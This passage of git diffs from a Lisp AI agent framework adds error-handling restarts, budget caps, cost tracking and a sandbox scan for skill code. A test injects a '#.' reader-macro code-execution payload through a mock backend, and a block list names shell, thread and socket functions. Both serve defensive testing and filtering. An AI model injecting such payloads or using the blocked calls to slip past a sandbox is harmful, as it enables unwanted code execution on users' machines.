(:documentation "Any error during the Perceive→Reason→Act cycle."))
(define-condition llm-error (pipeline-error)
((provider :initarg :provider :reader llm-error-provider)
(cascade :initarg :cascade :reader llm-error-cascade :initform nil)
(attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
(:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
(:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
(define-condition gate-error (pipeline-error)
((gate-name :initarg :gate-name :reader gate-error-gate-name)
(rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
(:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
(:documentation "Deterministic gate blocked a proposed action."))
(define-condition budget-error (pipeline-error)
((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
(requested :initarg :requested :reader budget-error-requested :initform 0.0))
(:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
(:documentation "Session budget cap has been reached."))
(define-condition protocol-error (passepartout-error)
((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
(:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
(:documentation "Malformed message, framing failure, or schema violation."))
(defvar *interrupt-flag* nil
"Atomic flag set by signal handlers to trigger graceful shutdown.")
@@ -23,27 +57,42 @@
(log-message "METABOLISM: Interrupted by shutdown signal.")
(return nil))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
(restart-case
(handler-bind
((pipeline-error (lambda (c)
(log-message "PIPELINE ERROR: ~a" (error-message c)))))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
(skip-signal ()
:report "Drop the current signal and continue the loop."
(setf current-signal nil))
(use-fallback (text)
:report "Inject a canned response instead of the LLM result."
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message text :depth depth))))
(abort-pipeline ()
:report "Terminate the cognitive cycle cleanly."
(return nil)))))))
(defun process-signal (signal)
(loop-process signal))

View File

@@ -7,17 +7,12 @@
"Register FN as the handler for provider NAME."
(setf (gethash name *probabilistic-backends*) fn))
(defvar *backend-registry* (make-hash-table :test 'equal))
(defvar *provider-cascade* nil)
(defvar *model-selector* nil)
(defvar *consensus-enabled* nil)
(defun backend-register (name fn)
(setf (gethash name *backend-registry*) fn))
(defun backend-cascade-call (prompt &key
(system-prompt "You are the Probabilistic engine.")
(cascade nil)
@@ -28,8 +23,7 @@
(dolist (backend backends (or result
(list :type :LOG
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
(let ((backend-fn (or (gethash backend *backend-registry*)
(gethash backend *probabilistic-backends*))))
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(when backend-fn
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (and *model-selector*
@@ -94,19 +88,18 @@
(if (string= provider-names "") "default" provider-names)
context-window gate-count rules-count)))
(defun think (context)
;; v0.7.2: auto-snapshot at turn boundaries
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(defun think-assemble-prompt (context)
"Phase 2-3 of the metabolic cycle: context + system prompt assembly.
Returns three values: system-prompt, raw-prompt, reply-stream."
(let* ((sensor (proto-get (proto-get context :payload) :sensor))
(active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(reply-stream (proto-get context :reply-stream))
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(system-logs (if (fboundp 'context-get-system-logs)
(context-get-system-logs)
"[No system logs available]"))
@@ -120,100 +113,126 @@
(reflection-feedback (if rejection-trace
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
""))
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity) ; v0.7.2: symbolic identity
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section) ; v0.7.2: live config
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration) ; v0.6.0: temporal awareness
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
;; v0.5.0: cached prefix with optional budget enforcement
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section pfx (or ctxt "") logs))
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity)
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section)
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration)
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section prefix (or global-context "") system-logs)))
;; Fallback when token-economics not loaded
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(let* ((thought (if (and reply-stream (fboundp 'cascade-stream)) ; v0.7.1: streaming
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(tool-calls (and (listp thought) (getf thought :tool-calls))))
;; v0.5.0: cost tracking after successful cascade
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
(format nil "~a~%~a" system-prompt raw-prompt)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
;; Ensure explanation is present in the payload for policy gate
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
time-section config-section pfx (or ctxt "") logs))
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section prefix (or global-context "") system-logs)))
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(values system-prompt raw-prompt reply-stream)))
(defun think-call-llm (raw-prompt system-prompt reply-stream context)
"Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
Returns the raw LLM response (string or plist with :tool-calls)."
;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
(when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
(return-from think-call-llm (budget-exhaustion-message)))
(if (and reply-stream (fboundp 'cascade-stream))
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(defun think-parse-response (thought)
"Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
Returns an action plist ready for cognitive-verify."
(let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0)
(or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(error ()
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE
:TEXT (if (stringp cleaned) cleaned "No response")
:EXPLANATION "Generated by the Probabilistic engine.")))))))
(defun think (context)
"The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
and response parsing into an action plist for cognitive-verify."
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(multiple-value-bind (system-prompt raw-prompt reply-stream)
(think-assemble-prompt context)
(let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
(think-parse-response thought))))
(defun json-alist-to-plist (alist)
"Convert a JSON alist to a keyword-prefixed plist."
@@ -399,8 +418,8 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(test test-backend-cascade-with-mock
"Contract 4: backend-cascade-call returns content from first successful backend."
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*backend-registry*)
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "mock-response")))
@@ -409,9 +428,9 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(test test-read-eval-rce-blocked
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* '(:mock-evil)))
(setf (gethash :mock-evil passepartout::*backend-registry*)
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
@@ -479,7 +498,7 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(let ((passepartout::*memory-snapshots* nil)
(passepartout::*memory-store* (make-hash-table :test 'equal)))
(setf (gethash "pre" passepartout::*memory-store*) "value")
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* nil))
(handler-case
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))

View File

@@ -15,8 +15,6 @@
(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
(defvar *skill-registry* (make-hash-table :test 'equal))
(defvar *skill-catalog* (make-hash-table :test 'equal)
"Tracks all discovered skill files and their loading state.")
@@ -205,6 +203,14 @@ declarations so embedded test code evaluates in the correct package."
(progn
(multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan lisp-code)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-org nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -233,6 +239,23 @@ declarations so embedded test code evaluates in the correct package."
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
(setf (skill-entry-status entry) :failed) nil))))
(defvar *skill-restricted-symbols*
'("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
"bt:make-thread" "bordeaux-threads:make-thread"
"usocket:socket-connect" "usocket:socket-listen"
"hunchentoot:start" "hunchentoot:accept-connections")
"Symbol patterns blocked from skill source code at load time.")
(defun skill-source-scan (code-string)
"Scans CODE-STRING for restricted symbol references.
Returns (values blocked-p matched-symbols)."
(let ((lower (string-downcase code-string))
(matches nil))
(dolist (pattern *skill-restricted-symbols*)
(when (search pattern lower)
(push pattern matches)))
(values (and matches t) (nreverse matches))))
(defun load-skill-from-lisp (filepath)
"Loads a .lisp skill file directly, filtering out in-package forms."
(let* ((skill-base-name (pathname-name filepath))
@@ -243,6 +266,14 @@ declarations so embedded test code evaluates in the correct package."
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
(multiple-value-bind (valid-p err) (lisp-syntax-validate content)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan content)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-lisp nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))

View File

@@ -40,7 +40,9 @@
(handler-case
(progn
(loop for char = (peek-char nil stream nil :eof)
while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
for ws-count from 0
while (and (not (eq char :eof)) (< ws-count 4096)
(member char '(#\Space #\Newline #\Tab #\Return)))
do (read-char stream))
(let ((count (read-sequence length-buffer stream)))
(if (< count 6)

View File

@@ -9,8 +9,12 @@
(defun cost-track-call (provider prompt-text &optional response-text)
"Compute and accumulate the cost of a single LLM call.
Returns the cost of this call in USD."
(let* ((input-tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(output-tokens (if response-text (funcall (symbol-function 'count-tokens) response-text) 0))
(let* ((input-tokens (if (fboundp 'count-tokens)
(funcall (symbol-function 'count-tokens) (or prompt-text ""))
(ceiling (length (or prompt-text "")) 4)))
(output-tokens (if (and response-text (fboundp 'count-tokens))
(funcall (symbol-function 'count-tokens) response-text)
0))
(total-tokens (+ input-tokens output-tokens))
(cost (provider-token-cost provider total-tokens)))
(bordeaux-threads:with-lock-held (*session-cost-lock*)
@@ -41,13 +45,19 @@ Returns the cost of this call in USD."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(getf *session-cost* :by-provider)))
(defun cost-session-summary ()
"Returns plist (:total <float> :calls <int> :by-provider <alist>)."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(list :total (getf *session-cost* :total)
:calls (getf *session-cost* :calls)
:by-provider (getf *session-cost* :by-provider))))
(defun cost-session-reset ()
"Zeroes the session cost accumulator."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(setf (getf *session-cost* :total) 0.0)
(setf (getf *session-cost* :calls) 0)
(setf (getf *session-cost* :by-provider) nil)
(log-message "COST TRACKER: Session cost reset.")))
(setf (getf *session-cost* :by-provider) nil)))
(defun cost-format-budget-status (&optional (daily-budget nil))
"Returns a string for the TUI status bar showing session cost.
@@ -72,6 +82,40 @@ If DAILY-BUDGET is provided, includes percentage of budget used."
"Track cost of a backend cascade call."
(cost-track-call backend prompt-text response-text))
(defvar *session-budget*
(ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
"Maximum USD to spend in this session. NIL means no limit.")
(defun budget-remaining-usd ()
"Returns remaining budget in USD, or a large sentinel if unlimited."
(if *session-budget*
(let ((remaining (- *session-budget* (cost-session-total))))
(if (< remaining 0) 0.0 remaining))
most-positive-double-float))
(defun budget-exhausted-p ()
"T if the session budget is set and fully consumed."
(and *session-budget* (<= (budget-remaining-usd) 0.0)))
(defun budget-estimate-call (prompt-text)
"Estimate the dollar cost of a pending LLM call from its prompt text.
Returns 0.0 if the tokenizer is not loaded (allows call through)."
(if (fboundp 'count-tokens)
(let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(cost (provider-token-cost (first *provider-cascade*) tokens)))
cost)
0.0))
(defun budget-exhaustion-message ()
"Returns a user-facing plist explaining that the budget is spent."
(let ((total (cost-session-total))
(cap *session-budget*))
(list :TYPE :REQUEST
:PAYLOAD (list :ACTION :MESSAGE
:TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
total cap)
:EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -132,3 +176,15 @@ If DAILY-BUDGET is provided, includes percentage of budget used."
(cost-session-reset)
(let ((cost (cost-track-call :deepseek "test")))
(is (> cost 0.0))))
(test test-cost-session-summary
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(cost-track-call :groq "world")
(let ((s (cost-session-summary)))
(is (> (getf s :total) 0.0))
(is (= 2 (getf s :calls)))
(let ((by (getf s :by-provider)))
(is (assoc :deepseek by))
(is (assoc :groq by)))))

View File

@@ -242,59 +242,3 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
(list :status :success))
(error (c)
(list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))
(fiveam:test test-provider-accepts-tools-parameter
"Contract 4: provider-openai-request accepts :tools parameter without error."
(let ((result (provider-openai-request "test" "system" :tools (list))))
(fiveam:is (member (getf result :status) '(:success :error)))))
;; ── v0.7.1 Streaming ──
(fiveam:test test-parse-sse-line-data
"Contract 6: parse-sse-line extracts content from data: lines."
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
(fiveam:test test-parse-sse-line-done
"Contract 6: parse-sse-line returns :done for [DONE]."
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
(fiveam:test test-parse-sse-line-nil
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
(fiveam:is (null (passepartout::parse-sse-line "")))
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
(fiveam:test test-provider-openai-stream-calls-callback
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
(let ((collected '()))
(flet ((collector (text) (push text collected)))
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
(let* ((reversed (nreverse collected))
(last (car (last reversed))))
(fiveam:is (stringp last))
(fiveam:is (string= "" last))
(fiveam:is (>= (length reversed) 2)))))

View File

@@ -149,20 +149,6 @@
:priority 400
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr
collect (if (and (symbolp k) (not (keywordp k)))
(intern (string k) :keyword)
k)
collect v)))
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr

View File

@@ -101,12 +101,13 @@
(content (getf args :content)))
(unless (and filepath content)
(return (list :status :error :message "write-file requires :filepath and :content")))
(handler-case
(progn
(tools-write-file filepath content)
(verify-write filepath content)
(list :status :success
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
(handler-case
(progn
(tools-write-file filepath content)
(verify-write filepath content)
(tool-register-modified filepath :new-content content)
(list :status :success
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
(error (c) (list :status :error :message (format nil "~a" c))))))))
(def-cognitive-tool list-directory
@@ -240,12 +241,13 @@
(let ((content (uiop:read-file-string filepath)))
(let ((pos (search old-text content)))
(if pos
(let ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text))))))
(tools-write-file filepath new-content)
(list :status :success
(let ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text))))))
(tools-write-file filepath new-content)
(tool-register-modified filepath :old-content content :new-content new-content)
(list :status :success
:content (format nil "Replaced at position ~d in ~a" pos filepath)))
(list :status :error :message (format nil "Text not found in ~a" filepath)))))
(error (c) (list :status :error :message (format nil "~a" c))))))))
@@ -255,203 +257,6 @@
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
(defpackage :passepartout
(:use :cl)
(:export
#:frame-message
#:read-framed-message
#:PROTO-GET
#:proto-get
#:*VAULT-MEMORY*
#:make-hello-message
#:validate-communication-protocol-schema
#:start-daemon
#:log-message
#:main
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:register-provider
#:provider-openai-request
#:provider-config
#:run-setup-wizard
#:ingest-ast
#:memory-object-get
#:*memory-store*
#:memory-object
#:make-memory-object
#:memory-object-id
#:memory-object-type
#:memory-object-attributes
#:memory-object-parent-id
#:memory-object-children
#:memory-object-version
#:memory-object-last-sync
#:memory-object-vector
#:memory-object-content
#:memory-object-hash
#:memory-object-scope
#:snapshot-memory
#:rollback-memory
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:push-context
#:pop-context
#:current-context
#:current-scope
#:context-stack-depth
#:context-save
#:context-load
#:focus-project
#:focus-session
#:focus-memex
#:unfocus
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:inject-stimulus
#:stimulus-inject
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize
#:action-dispatch
#:register-actuator
#:load-skill-from-org
#:skill-initialize-all
#:lisp-syntax-validate
#:defskill
#:*skill-registry*
#:*scope-resolver*
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
#:def-cognitive-tool
#:*cognitive-tool-registry*
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:literate-tangle-sync-check
#:archivist-create-note
#:gateway-start
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
#:get-oc-config-dir
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
#:cognitive-tool-parameters
#:cognitive-tool-guard
#:cognitive-tool-body
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute
#:channel-cli-input
#:repl-eval
#:repl-inspect
#:repl-list-vars
#:policy-compliance-check
#:validator-protocol-check
#:archivist-extract-headlines
#:archivist-headline-to-filename
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p))
(in-package :passepartout)
(defun plist-get (plist key)
"Robust plist accessor — checks both :KEY and :key variants."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
(defvar *log-buffer* nil)
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
(defvar *log-limit* 100)
(defvar *skill-registry* (make-hash-table :test 'equal)
"Global registry of all loaded skills.")
(defvar *telemetry-table* (make-hash-table :test 'equal))
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
(defun telemetry-track (skill-name duration status)
